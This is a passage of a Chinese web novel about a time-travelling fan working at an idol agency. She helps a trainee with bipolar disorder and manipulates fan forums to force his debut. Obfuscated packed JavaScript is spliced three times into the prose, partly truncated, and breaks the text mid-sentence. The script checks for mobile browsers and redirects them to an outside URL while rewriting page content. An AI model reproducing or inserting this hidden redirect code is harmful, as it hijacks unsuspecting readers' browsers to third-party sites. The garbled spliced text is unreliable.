这句话就像一把冰冷的锤子敲进邹意的心里,砸出一个窟窿,让她胆战心惊,同时验证了以前的许多怀疑,段暮炀究竟经历了多少事情啊…… 8.第八章 23. 不是突然的事啊,是从很小的时候就开始生病,邹意果然不了解他,再一次判断错误,总是只看到好的一面,根本没想到段暮炀很会伪装,不管是在二十岁还是二十七岁。 邹意吸了一口气,先回了办公室找刘小樱,她要知道更多一些。 没有走到办公室,邹意在走廊末端的飘窗边看到了刘小樱标志性的粉色头发。 邹意没有叫她,慢慢走过去,闻到一点呛鼻的烟味儿,没忍住小声地咳了一下。 刘小樱侧过一点头,邹意看到她嘴角翘起的弧度,“来啦,我预感你要找我。” 邹意没有否认,只是默默走到跟她排排站的地方,心里嘀咕,所以还是要有点默契才能跟我当同担吧。 刘小樱抽烟的姿势挺熟练的,抽的是女士烟,味道不浓不淡,邹意闻不懂。 邹意一肚子问题,“段暮炀生病多久了?”她挑了重要级别高一点的一个问题。 刘小樱侧身面对她,把烟掐了,双手环抱在胸前,是一种防御的姿态。“邹意,你先告诉我,你是段暮炀什么人?” 邹意愣了愣,实话实说:“我不是他什么人啊。” 刘小樱皱了眉头,问道:“表妹?亲戚?发小?小青梅?” 邹意一一摇头否认,不知道刘小樱为什么这样问。 刘小樱的语气不像开玩笑,她说:“你要是跟段暮炀有什么特殊的关系,我劝你赶紧离开公司,要是被爆出来,他这辈子都别想上舞台了。” 邹意完全震惊了,“我真的跟他没有关系啊,他昨天才第一次见我,非要说什么关系,我是他粉丝吧,难道在天环不能当自家艺人的粉丝?”邹意反问道。 刘小樱现实中跟邹意曾经在网络上认识的她其实差别很大,邹意脑子有些混乱,有时候觉得自己记忆正在紊乱,每个人都变化好大,对不上号。 邹意觉得刘小樱叹了一口气,“那你挺勇敢的,作为员工,在公司里还敢明目张胆对他偏爱。”她说。 邹意觉得刘小樱今天也有点奇怪,随口辩解:“也还好吧,我才来多久,也没干什么,你先告诉我段暮炀生病的事吧。” 刘小樱又笑了:“我不知道你数没数过,自己每天要叫小段的名字多少次,还有你真以为,他粉圈这几天的事我没关注啊,你把公司后面要炒的料,偷偷放出去多少,我不知道你怎么来的这些信息,但你想没想过,要是真的追究起来…” 邹意打断了她:“我不怕。” 邹意不算一个勇敢的人,但她一直坚信,没有什么事情是真正无法做到的,就像担心考砸和考得好在一定程度上是正相关的关系,就算她的力量也许很小,能减少一点段暮炀对这个世界的失望,哪怕一点也好。 24. 世界上可能没有什么人是天生坚强的,只是受伤后有人能构建起防御系统,同时向外延伸出武器用于攻击,有人刀刃向内,自我消化。 邹意边走边搜索刘小樱说的。双相情感障碍,躁郁症。躁狂发作时情绪极度亢奋,多引起言语增多、思维跳跃,抑郁发作时伴睡眠紊乱,自我价值感低下,情绪低落,严重时会出现自残、自我毁灭的倾向。 …… “不是我想骗他,你觉得告诉他结果会更好吗?他的合约还没有到期,不是公司主动清退的话,现在离开还要赔违约金,高层的想法我不可能完全知道,段暮炀的病本来没有多大事情,但是因为不服从高层的决定,现在被抓了把柄。” “你见过他刚进公司的样子吗,我也为他可惜为他生气啊,但是我有什么办法,没了工作,我下个月房租都付不起,让我为了他跟上面对着干,我没办法做到跟你这样。” 邹意能理解刘小樱说的话,她只是认为真的很不公平,她现在也有了更担心的事情,段暮炀答应了公司什么,才顺利出道的。 天空上飘着大片的乌云,似有倾盆之势,邹意想起来有一回roadster的表演舞台,她拜托了一些媒体的朋友要到了一张票,飞机落地的时候,也是这样的天气,其实很折腾,但一点都不觉得烦或者累,就像短暂脱离正常生活,突然透到一口气这样的舒适感。 段暮炀给她的感觉一直是自由的,现在想起来只是邹意投射到他身上的情绪价值而已。 25. 邹意不知道段暮炀住哪一栋,怕他在休息,没有发信息问,只是自顾自走到了那附近,她昨天晚上看你这段暮炀消失在转角的地方。 出来得急,没有带伞,天空预告性地落下几滴雨点,又恢复平静,顺势遮蔽住剩下的阳光,是在告诉还在地面上行走的人类,找个地方躲躲吧。 邹意站进了能挡雨的屋檐下,蹲了下来,发信息问了袁子凡但是还没有回复。 几分钟后,雨点密集起来,拍打到地上的雨滴把泥点溅起来,溅到了石缝边长出来的几朵小白花上,变得脏兮兮的。 段暮炀突然从后面出现,撑着一把透明雨伞,黑色衣服黑色裤子,白色帆布鞋上有些被打湿的脏污,手边提着一个白色塑料袋,里面像是病历和几盒药,邹意盯了一下,看清了药盒的名字,盐酸帕罗西汀。 所以生病了,难受了,也是自己去看病,自己去药店买药,自己吃药吗? “邹意?你来干什么?”邹意感觉到段暮炀的语气不太好。 她拍拍裤子站了起来,段暮炀就把药袋往身后藏了一下,不是很想暴露秘密的样子。 她现在并不是可以信任的人,段暮炀把她归为和公司一样的阵营,防备心重一些是正常的,是个人都会这样做。 邹意感觉到段暮炀快速调整了语气和情绪,对她扯出一抹笑,像平时在公司见到那样,像昨天晚上见到那样。“小邹姐,怎么还有空来?”他眼睛弯弯地说。 邹意看他这样觉得生气又没有理由气,“不想笑就不要笑了。”她语气也急,像是急切想要撕碎隔阂。 但这是不可能的,她不是能让段暮炀放心的人。 段暮炀弯着的嘴角僵了一下,不知道是不是觉得冒犯,还是觉得奇怪。眼里恢复了平淡的情绪,把透明雨伞收好放到旁边的台子上,从邹意旁边擦肩而过。 他要走了。邹意拉了下他的手腕,几乎是没过脑子地说出:“我不是跟他们一伙的,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272474|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你一边的。” 段暮炀顿了顿,可能觉得自己碰上疯子,轻轻地把手挣开,淡淡说了一句:“这样啊,那先谢谢你了,很多人对我说过这样的话。” 邹意看着段暮炀上楼,他手里一直捏着药盒,就像保护一样把药盒上的字挡住,跟他平时习惯性掩饰自己所有情绪一样,也不愿意别人接近,永远疏远有距离感。 “喂!你别不信,我讲真的。”邹意对着他的后脑勺说,并没有得到回复。 26.(N-过去) 2015年,段暮炀进公司的第四年,即将对外公布最新男团出道企划的前一天,段暮炀从教辅机构突然被新部长突然叫到公司,临时喊朋友顶了班。 当时他有些兴奋,这是他第二次离出道最近的时间点,因为担心情绪波动大进入躁期,提前吃了药。 他背着书包推开了会议室大门,面对着西装熨烫整齐的领导,等待他们告诉自己明天公布出道的讯息,或者给他一份新的合同,摆脱桎梏的合同。 可是,病不是吃了药就能根除,除了天上的云,也没人能看见他的情绪。 “小段啊,很抱歉告诉你,这次出道人选,我们把你换成了温铎。” 段暮炀当时头脑嗡嗡的,温铎又是谁?比他进公司早吗?比他练得好吗?考核分数哪第一的次数更高吗? 段暮炀感到被欺骗,但还是稳定声音说:“不好意思,我们不是说好了,把歌的版权给你们,就可以了吗,我没有要署名权了。”他看向打着深蓝色领带,把头发整齐梳到后面的新部长,“部长,你告诉他们了吗?” 段暮炀的手当时病理性地发抖,这是常见的躯体性症状,他用另一只不那么抖的手摁住,但好像跟会传染一样,两只手都抖得厉害。 他感觉很多人在观察他,无措地把手放到桌子下面,似乎被理解成妥协。 “小段,我们经过综合评估过,你的实力确实很强,创作能力也有目共睹,但是公司捧人要很慎重,我们不能让一个不能自控的人暴露在大众视野中呀,这太危险了,粉丝们会吓坏的。” 段暮炀耳边的声音开始模糊,冷汗从后背冒出来,他想到林晓茹曾经说过的话,我们小炀是最厉害的。 “你看看,你的手,抖成这样,我们了解过,躁郁症发作起来很危险,你先好好治病,情况好一些我们再聊好吗,放心,你的歌一定有用武之地的,我已经发给制作部让他们着手改了。” “谁告诉你们的。”什么都没有继续聊了,但段暮炀问了这个问题。 “你室友啊,吴捷,你等会儿遇见他也把他叫来,他还有照片没拍完,明天要发了。” 十几岁的年纪,他被围在一个房间里耍得团团转,这是段暮炀对那天最大的印象。 那天离开的时候,段暮炀的书包拉链没有拉好,站起来的时候掉下一张纸。 是同期练习生之间的□□,新人部会定期组织核心练习生□□,作为组队的参考也作为对于练习生人际关系的考核依据。 那张纸正面写了吴捷的名字,每一项都在最高分那里打了勾,背面是评分人的名字,段暮炀。 9.第九章 27. 段暮炀上楼之后在窗户旁边站了很久,等到邹意撑着雨伞离开,才慢慢离开窗户,泄力地躺到床上。 累,没力气,没食欲,没有情绪。吃了药还是来势汹汹,刚刚他从医院回来,看到楼下有人,下意识就想换条路走,因为郁期说话和交流都很困难。 但那个邹意,明明知道天气差,还是连伞都不带,也不趁雨还小赶紧找别的地方躲雨,再大一点,那个屋檐能遮住什么?真是傻得可以。 还说什么我这边你那边,嗤,他笑都要笑惨了,谁会信。 段暮炀也发觉邹意是一个什么秘密都写在脸上的人,不得不担忧她听了什么话,觉得他真出了什么事情,毕竟公司关于他的传言有许多版本。 所以段暮炀尽心尽力地在群聊里面,说自己只是感冒了,明天就会去上班,谢谢大家关心。 发完微信,他连举起手机的力气都没有了,抽丝剥茧般,只剩下躯壳,把脸埋进了被子里,很久不动。 那天晚上段暮炀做了一个梦,梦见自己的家里面多了一个会说话的乐高小企鹅玩具,还能满足他很多愿望。 他开口对小企鹅说:“可以给林晓茹买一套大房子吗?” 小企鹅没有说话,但哼哧哼哧就开始做工,用乐高积木搭了一个房子,还种了林晓茹喜欢的木棉花树。 段暮炀看小企鹅搭好了,因为是在梦里,就不知满足地说:“可都是假的,积木不是真的。” 小企鹅就有点失落,它说:“可是我已经尽力了,你不能怪我了。” 段暮炀也不是完全不讲道理的人,就说:“好吧,那你能再帮我搭一个舞台吗?” 小企鹅动作很快,段暮炀夸了它,它就非常高兴地笑,然后说:“小段,我们来了一个新朋友,你愿意让它加入我们的秘密基地,参与我们的秘密讨论和秘密建造工作吗?” 段暮炀嗤笑一声:“我们是什么特工队吗,有什么秘密啊?” 小企鹅听他这么说,自以为是地觉得是默认,把它不知道从哪里交到的好朋友请出来,是一只比它小一点的小兔乐高玩具,个子很矮但是声音比小企鹅还大,蹦蹦跳跳跑到段暮炀面前像小学生一样做自我介绍。 “你们好啊!我什么都会,我是你们这一边的!”小兔子雄绉绉气昂昂地说,很有合唱团的气质。 28. 段暮炀的病还不算严重,加上平常每天都会吃药控制,大多数时候在正常期或者是生产力旺盛的轻躁狂期,郁期通常比较短。 熬过了两个晚上,他觉得好多了。 人生就是这样,永远不会知道下一秒会发生什么事情,也不会知道轻飘飘一点点动静,会引发怎样的蝴蝶效应。 段暮炀进公司的时候,就感觉路过的人都在看他,表情不是好表情,像一大早上被甩了一大耳光一样难看。 他习惯性地戴上了口罩,有点不自在。难不成公司又放了什么离谱的料吗,这次又是什么类型的,绯闻还是聊天记录? 进电梯的时候,后辈练习生都对他点了点头,这是平常根本没有的待遇,段暮炀越发觉得诡异了。 手机嘟嘟嘟震动起来,段暮炀的群聊信息是屏蔽的,所以能收到提示的一般是私聊。 段暮炀第一反应是那个邹意。 他捏了一下手机,把兜里的手机拿出来,哦,是袁子凡发的。 【yzf:小段哥,你知道了吗!!!!!】 【段:知道什么】最近怎么总是这种说话说一半的。 【yzf:小段哥!你真的熬过来了,小段哥我是你的第一个粉丝!你一定不要忘记我!】 说什么呢?乱七八糟的,袁子凡的图片因为公司网速慢滞后了将近一分钟才发出来。 是微博热搜页面,那是段暮炀第一次在媒体搜索榜上看到自己的大名,即便是很久的以后,上热搜已经不是稀奇的事,段暮炀也会记得那天看到第一眼的心情。 热搜第八位#天环练习生段暮炀确定出道# 但是仅三四秒的反应时间,段暮炀就意识到不是公司买的热搜,天环不可能没有通知他就买这种热搜,而且如果真的要出,早该拍宣传片了,这一次的待遇比前两次还差,讲实话段暮炀已经没有特别大的期待了,只是现在走要赔的违约金太多。 他下了电梯仍然觉得脚底下轻飘飘的,是吧,骗不了自己,还是不死心,假的也想信。 段暮炀拐进角落里那间电脑房,平日里这里很少有人,除了集体课程会有小班教学,其余时间一般不会有人来。 电脑房没采到光,不开灯很暗,段暮炀看到最窗边的地方有一些电脑屏的蓝光,还有一颗毛茸茸的头戴着耳机摇来摇去。 段暮炀敲了敲门口的玻璃,发出一点声音示意。 那颗毛茸茸的头就抬起来,邹意的表情很得意,像是做了什么让她很开心的坏事,段暮炀看见她食指和中指并在一起,放到太阳穴旁边,很臭屁一样地朝他敬了个礼。 周围很暗,只有邹意那里有点光,段暮炀的手半天没放下。 耳朵旁边叽叽喳喳的,全是昨天梦里面,那只乐高小兔子的声音。 29. 如果现实不允许反抗,那就搞点小动作让讨厌你的人也不好过。邹意没有道德上的束缚,热搜是她操作的。 当然,不是买的。只是略施小计。 段暮炀当公开练习生已经很久了,虽然一直没有正式的物料,但陆陆续续的照片也吸了一波接生粉,毕竟硬件好,人气在练习生储备里不算低。 邹意登上一个境外的ig小号,先用英文发了一条ins,带上了天环的tag和一两个讨论度高的tag,内容是“DUAN MUYANG Debut Confirmed” 帖子少,ip特别,黑色头像,陈述句语气,发完帖就消失不回复评论和转发,是脂粉放料的固定套路。 几分钟后,已经有十来条私信来问她,是不是真的,转赞评到五十之后,就满足了豆瓣公共组搬运消息的门槛。 邹意切了个小小小号,编辑了文案,截图发帖——我滴妈真的假的呀?段暮炀终于要出道了! 国内的平台流量比外网大很多,豆瓣公共组各家的接生粉都各有心肝,除了段暮炀的粉丝,其他家的粉丝也会关注顶帖,很快建起了高楼,又因为转载的截图是ig的帖子,莫名其妙的可信度又增加一些。 评论“这风格很像脂粉放的料”马上顶上热赞了。 不到半小时,邹意发的原帖已经被搬运到好几个平台,段暮炀的接生粉都挺长情的,不然也没办法坚持好几年还活跃在粉圈,看到这种消息全部都活跃出来了,都不用邹意切小号带节奏,马上在超话就开始燃起来。 “真的接到皇族了”“段暮炀首位官宣啊”“担到这种爽麻了有人懂吗”“哦哈哈队友丝就酸吧你担出不了道咯~”“就这个皇族妈爽!” 邹意看得又心酸又想笑的,她的早期同担都以为段暮炀待遇多好,实际上背后是空无一人。 没有人引导的粉圈还是不成形,萌萌人们只知道在超话自燃都不会舞到外面去,这么好的时机。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272475|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 邹意看舆论发育不起来,有点走低了,赶紧切号,创了个词条#天环练习生段暮炀确定出道# 用红v的号在微博开帖,很快,超话里有点追星经验的粉丝开始在词条里发帖,散粉也反应过来做数据了,大概半个多小时,段暮炀出道的热搜词条在文娱榜上升趋势出现了。 这个时候形势已经很明了,营销号闻着味快速赶到,连发了几张图片和视频给词条加热度,路人一看到段暮炀那张脸就会点进词条。 凌晨一点,天环公关部的人全部早早下班了,这种没有钞能力的热搜其实很容易压,但大概如有神助,段暮炀出道的热搜就这样一路走高。 粉丝是这个网络上爱意最多的群体了,积攒了那么久的感情一下子有了一个出口,出钱出力的都来了。 这不,现在天环官号和新人开发部发的照片下面,全部是段暮炀粉丝的控评,所有人包括队友粉都默认了这件事。 刚刚邹意已经看到有富婆姐,开着咖啡车停到公司楼下给段暮炀应援了。 事情发展到这里,够高层再开好几个会了,上面再傲慢也不可能无视消费群体,何况已经属于是施压的程度。 30. 段暮炀走到邹意旁边,手指点了点耳朵的地方,意思是让邹意先摘下耳机,他有话要说。 邹意以为段暮炀高兴得想起来怎么媚粉了,终于要说几句好听的了。不过他应该想不到是邹意干的,粉圈要玩到这个程度,没有几成功力也看不出来是带节奏带的。 她把耳机半摘下挂在脖子上,腰不自觉地挺直一些。 “你到底是谁啊?”邹意听到段暮炀有些轻地问,差点心碎了一地,什么啊,翻脸不认人? 邹意不知道他是不是没睡醒,手在段暮炀面前晃了晃。“我啊!不认识啦?” “邹意啊,我是邹意啊!”邹意没想到自己也有这一天,像傻子一样介绍自己的名字。 段暮炀松松地抓了下她的手腕,然后又松开,眼神很空,邹意有点害怕,放下了手。 “不至于吧,怎么是这种反应啊,你吓到了吗?”邹意试探地问。 “你别担心,那个,那个什么,不会真的影响到你的,我用的外网账号开的帖子,而且转赞评也到了数量才转发的,最多说我搬运未证实的信息,你不会受影响的。”邹意迅速地解释。 邹意压低了声音,“还有,跟你说个搞笑的,为了防止被天环那些千年狐狸告造谣,我搬运的帖子特意编辑了“据可靠消息”,噗哈哈哈哈,你知道吗,我id就叫reliable,噗哈哈哈哈哈哈哈哈哈哈!” 邹意捂脸笑得肩膀都在抖,段暮炀还是只看着她。 邹意心都慌了,闭上了眼睛:“大哥,求你了,别当哑巴的行吗?要杀要剐给个痛快吧!我受不了这种冷暴力。”邹意自暴自弃地说。 榕城的天气从坏到极致又好到极致,下过一天雨之后的风被太阳一照,获得了温度,穿堂而过,电脑房的窗帘被吹得飘起来。 七月份的天气很热,还是干热,电脑主机的热量迅速往上蒸腾,邹意觉得自己最近有点容易脸热。 又沉默了一会儿,邹意睁一只眼看段暮炀,他虚空地把手挡在邹意脸上,透过阳光落下一片阴影,邹意看着段暮炀的手隔着介质从她的嘴巴移到眼睛,这下邹意只能看到他的掌纹了。 邹意叹了口气:“干什么哦,这是新型捉迷藏还是什么?我们有代沟吗,唉,我不懂你。” “你个积木兔子,真的吵死了。”段暮炀压着声音说,眼神真挚得有点过分。 10.第十章 31. 永远不要低估追星女的爱,邹意曾经在段暮炀官宣出道那天,花了一年攒的钱给他投了一个地铁站大屏,当时超话里有很多粉丝打卡。即使比不上更多有钱有闲的大粉,但当时做到这份上她也问心无愧了。 只是到最后大屏撤下来,其实也不知道段暮炀有没有亲眼看见,毕竟他们有专车接送,不大可能会专门去坐地铁,邹意当时安慰自己没关系,当然如果段暮炀亲自去地铁站认证并且合照发到社交平台,邹意可能要记住一辈子了。 都说追星追的就是一瞬间,一瞬间的感觉、一瞬间的情绪,这种一瞬间的距离感是很强的。 所以邹意也没有想到自己有一天能随时随地见到自担,还能随便说上话,好像是朋友一样,这种感觉有点奇怪,让她产生一些不自然的恐惧,但是又很兴奋。 就像签售找代刷一样,买多了担心浪费钱,买少了担心钱不够中不了签售,要刚刚好,才能不浪费又不会竹篮打水一场空,但是刚刚好是很难的,必须要付出多一点,才能获得稳妥,把握住见面的机会。 以前她要见段暮炀一面,就是这样困难又充满未知的期待。不知不觉中段暮炀也做了她平淡人生中许久的精神支柱,邹意确实没有想到,他的精神和心理会出问题,这就是不在一个世界的原因吧,你是我心里的你,可不是真实的你。 还好邹意获得了第二次机会,有幸认识到伪装程度稍微低一些的段暮炀。 出于粉丝心理和立场,邹意最知道怎样才能留住粉丝,增加人气。 所以邹意拉着段暮炀,给他戴上了帽子和口罩到公司楼下,离应援咖啡车有点距离,但是足够入镜的程度。 邹意拿着手机找角度,怎样才能拍出来不刻意但又能被粉丝看出是刻意认证的。 段暮炀站在邹意旁边,不知道她蹲下又走远,拿着手机摆来摆去,是在干什么,夏天的阳光还是有点晒的,邹意的脸皮感觉很薄,晒了一下,已经有点发红。 段暮炀下意识地把帽子摘下来,想扣到邹意头上,邹意好像预判了他的动作,滑稽地向下炖,躲开了。 然后她说:“好好好,这角度最好,快点,你别这么愣,自然点摆个姿势。” 段暮炀拿着帽子的手还悬着,这给邹意吓个半死,作为一名脂粉的自觉,邹意呵斥段暮炀:“你要死啊!这在外面呢,赶紧戴上,被认出来了怎么办!” 虽然还没有出道,但是天环时不时的营销已经让这群练习生积累了第一批死忠粉,在外面被认出来也不是奇怪的事。 只是邹意有所顾虑,如果她没有脂粉这层皮,不是天环的staff,万一被其他人知道了,或者被认出段暮炀的人拍到同框了。 一天之内,段暮炀就会被投到嫂站,豆瓣跃跃欲试的黑子马上就会开帖——“还没出道就私联粉丝该不该册掉?”,邹意就更不用说,所有个人信息没几小时就会遍布各个练习生的公共组。 当然现在的段暮炀远没有邹意认识的那个他人气高,没有概念也是正常的事。 段暮炀根据邹意的指令,快速拍了几张认证应援的照片。该说不说长得水灵就是怎么拍都好看,脸遮剩眼睛了也看得出帅,不过还要归功于邹意追过很多线下,出过无数张图的功力。 邹意匆匆检查了一下,左顾右盼没有人在偷拍,小心翼翼地走到段暮炀身边,躲在他背后,催他赶紧回。 段暮炀回头看她,疑惑地说:“你为什么鬼鬼祟祟的,为什么要一直躲?” 邹意居然从段暮炀的语气中听出一些埋怨,都让她有点匪夷所思,就像刚刚段暮炀说她是什么积木兔子一样,难以理解。 邹意把口罩拉好,办公室里只剩下几个n95,大热天的她快要闷死了。“当然是,因为怕被拍到啊,万一你被造谣了怎么办?”邹意叽里咕噜地说着,口罩太厚讲话都变得含糊。 段暮炀不知道是不是有什么执念,又把帽子摘了,稳稳扣到邹意头上。“口罩摘了吧,帽子压低点,看不到脸。”话落段暮炀就伸手到她耳后,口罩的带子蹭过耳骨,被段暮炀摘了下来。 邹意仅一瞬就条件反射地从段暮炀身边平移开两步,顺带把帽子压得很低,没忍住用他们都能听到的音量低声骂:“你你你…你不要命啦,这是在外面!” 邹意说完发现自己的话也怪怪的,搞得像她和段暮炀有什么不正当关系一样,她只是来捣乱的一个老鼠屎实习生而已,再退一万步说,她就是一个穿越过来的死忠粉罢了。 段暮炀沉默一会儿问:“你这么嫌弃我做什么?” 邹意觉得自己天要塌了,段暮炀不是说自己关注粉圈吗,粉圈文化学到哪里去了,有没有看邹意的训粉帖子,但凡关注邹意的号一个月以上,都出不来这种对舆论不敏感的萌萌人。 邹意大粉当久了就容易被蠢同担雷住,即便那个人是段暮炀,她费力地解释:“我不是嫌弃你呀,你不怕被说在外面私联粉丝吗?!” 段暮炀顿了顿,“所以…你是我的粉丝?”他好像是认真在问,当然邹意并不知道为什么重点会偏成这样…… 邹意反应了一瞬,“当然了!我负责管你的粉圈,不是粉丝是什么!粉刺吗?” 段暮炀轻笑了一下,邹意能看到阳光下他嘴角弯起来的弧度。 邹意发现了,段暮炀的性格并不复杂,有着简单的情绪,会在意别人的眼光,会在乎身边的人对他什么态度,会不安自己的未来,会希望获得关心。 32. 邹意突然想到一个地方,榕城她还是很熟的,凭借着记忆,邹意把段暮炀带到了一个咖啡馆。 这个咖啡馆邹意上高中的时候来过很多次,因为老板的女儿是段暮炀的粉丝,在段暮炀还没出道的时候,店里面就有他的海报,电视机屏幕还会播放一些碎碎的舞台切片。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297553|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 段暮炀应该没有来过,邹意告诉他:“其实在你不知道的地方,真的有挺多人喜欢你的,别不信!” 段暮炀跟她并排走着,像是思考了一会儿:“喜欢我也挺不容易的,我可能,明年合约结束,就会离开公司。”他语气很淡,像是说服过自己一万次。 这是段暮炀在她面前第一次表达出想离开,邹意有点矛盾,说实话,长痛不如短痛,离开了未必不是好事,况且在天环出道之后,段暮炀的精神状况并没有得到好转,如果按原计划发展,生命已经在倒计时。 段暮炀是跟人生硬碰硬那种人,正常的练习生,三四年没出道就会另谋出路,段暮炀待了七年,最好的时光都耗在上面。 就像落难者在深渊处等一条绳子,绳子每天都会伸长一些,段暮炀就这样耐心地等,心气儿一点一点消耗,好不容易等来了绳子,慢慢地一步一步从深渊里出来,抬头一看,又进入了另一个深渊。 邹意没有接段暮炀的话,而是问了另一个问题:“你的病,多久了,怎么发现的,你外婆知道吗?” 段暮炀听到这个问题,全身僵了一下,避重就轻地回答:“手抖弹不了琴,自己去看医生的。” 只回答了怎么发现,剩下两个问题选择性忽略,邹意现在已经差不多了解段暮炀了,表面看起来老好人一个,内里倔得要死,这种人怎么在公司里混出一个八面玲珑的心机男人设还被一堆后辈蛐蛐的,真是匪夷所思。 邹意没有追问,而是拽了拽段暮炀的胳膊,让他靠近自己一些,告诉他:“你是不是有点想家了,我陪你去看你外婆怎么样。” 仿佛在照顾段暮炀伪装得很好的坚强和自尊心,邹意用了随意的语气,还有开玩笑的态度,如果段暮炀觉得不舒服,可以直接拒绝。 但邹意还是忍不住打了补丁:“我们新人部,定期也有kpi,要对你们进行家访,做风险评估。”说完她又摸了下头发,缓解了一些心虚的情绪。 段暮炀不知道是不是在神游,精神没有跟上邹意说的话,只是突然站定,然后推开前面的门,“到了,你说的咖啡馆。” 邹意差点放弃跟他进行什么有营养的交流,因为段暮炀习惯性地把所有人推得很开,尤其是触碰到他心里真正重视的东西时,更是防备心重,任何人跟他当朋友都会有点累,邹意也是,谁会希望一直热脸贴冷屁股呢。 就算邹意很心疼他的种种,高需求的人也受不了这种鸡同鸭讲的窒息感。 邹意一边分析段暮炀一边数落他的种种不好,手也没闲着,建设了段暮炀超话几个精华帖,小粉丝们马上在她帖子下面dd了。 凌晨一点半,邹意玩够了手机,没什么想思考的,打算睡觉的时候。 突然一声震动,段暮炀发来的微信。我滴妈,小段你这是什么阴间作息。 邹意解了锁屏。 【段:那我们要什么时候去?】 11.第十一章 33. 邹意做事总是三分钟热度,坚持不了多久,坚持当段暮炀粉丝算是她人生目前为止维持得最久的事了,12天就能养成一个习惯,所以六年下来,即使那个人并不是现实中打个电话就能见到的人,投入的感情也不会少。 最近一段时间,邹意的不真实感很严重,总是做梦,梦的内容千奇百怪,有邹意自己的事情,也有段暮炀的事情,甚至是一些看不出故事主角的白梦,但是梦的结尾,总是以同一件事收尾,段暮炀坠楼身亡,亲友发布他的绝笔。 唉,惨烈的结局,这次不要来这招了好吗,邹意算是一个乐观主义者,所以穿回了2018年的当天,她就告诉自己,无论是自己的人生,还是段暮炀的人生,都要向前看,另一个时空的事情,留在那里就好。 失忆哪有像电视剧里眼睛一闭一睁那么简单,她主观上觉得过去了,可还是总会梦到那个场景。 绝望、遗憾、失去。 邹意为什么突然跟段暮炀提到陪他去看外婆,因为这也是段暮炀的遗憾之一。 段暮炀的外婆在段暮炀出道的第五年去世了,是在冬天,当时段暮炀已经连续三年没有回老家过年,据邹意所知,段暮炀多次提出接外婆过来榕城住,但外婆一直没有同意,因为觉得自己在那边,要见一些老姐妹,一起跳舞打牌更方便。 距离远,见面的次数就会少,段暮炀后来说过,自己很遗憾,工作忙,再不方便也应该多回去几次,而不是连最后一面都要匆匆去见。 34. 没出名也有没出名的好,出道之后,如果没有通告,出门的私人行程很容易被过度解读,没跟大热的cp同框,cp粉不满意,要是真同框了,唯粉更是要炸起来,邹意征战粉圈多年,深感最难打的就是cp粉。 众所周知,毒唯和cp粉是天生的仇人,cp中磕来磕去,必定有弱势一方,弱势一方往往是被cp粉偏爱的,提纯概率更高,唯粉不想一方被吸血,只能开战下场撕。 cp粉不管打心底出发的还是战略性磕的,表面上的号都是粉的两个人,自然委屈“我们圈地自萌,爱怎么磕怎么磕,管那么宽呢?”“明明两边都有花钱,有本事正主不挣cp粉的钱呢,追个星谁比谁高贵呢!” 好在段暮炀当明星那几年,性格都很淡,跟谁都没cp感,说实话,当爱豆让粉丝磕不到cp那可以是完蛋了,所以后来段暮炀的人气,远远没有队内会舞cp的其他队友高。 邹意之前一直搞不懂自己的粉丝属性,要说是妈粉,她年纪比段暮炀小,很难代入,梦女粉的话,她又不爱看梦女文,每次一看梦女文就尴尬得不行,觉得段暮炀ooc了,一定要归一类的话,事业粉比较好概括她的属性。 一心一意为了段暮炀的人气和风评,如果我担成top了,那我就是top粉了,邹意就这种觉悟。 但后来她突然明白,为什么有生命粉这种说法,确实啊,其实只要我担还在,火不火也没那么重要,back就back嘛,不到最后一刻,back的k也能弯道超车成top的t! 不知道是不是邹意的错觉,她发现,段暮炀因为回家看外婆的事情,有些焦虑和紧张。 最近一段时间,她上网学习了一些双相情感障碍相关的知识,也有可能是过分关注,邹意现在对段暮炀的情绪变化很敏感。 比如现在,高铁站候车厅,段暮炀已经扯了五次口罩,摸了三次衣领,打开手机看了十几次车票的座位,又像精神过度集中在听广播通知检票,已经站起来了不下六次,担心错过检票。 帽檐压着的鬓角,好像也因为烦躁不安的情绪,有了一些汗湿的痕迹,他很焦虑。 甚至于出现了手抖的症状,段暮炀心理上有很多像乱毛线一样的情绪,可能是曾经因为生病被背叛,他就极力隐藏,把自己打造圆滑;可能因为担心自己不够好,怕家人失望,所以在满载归乡喜悦的高铁站,段暮炀却近乡情怯了。 离家追求梦想的年轻人,面子大过天,出门在外吃了苦也不愿意说,回去一次就要使出浑身解数,证明自己过得不错。 邹意心里有些发涨,乱毛线理不开,剪开效率会高得多,虽然坏掉一部分,也总比一整颗毛线球报废要好。 她也不敢在公众场合跟段暮炀有什么肢体接触,谁知道一些小众私生粉会不会查了车票信息,所以邹意用手肘戳了下段暮炀的胳膊,眼神关切却直接,她问:“不舒服吗,带药了吗?” 段暮炀愣了一下,大概是觉得自己没有任何异样,却还是被邹意发现了。 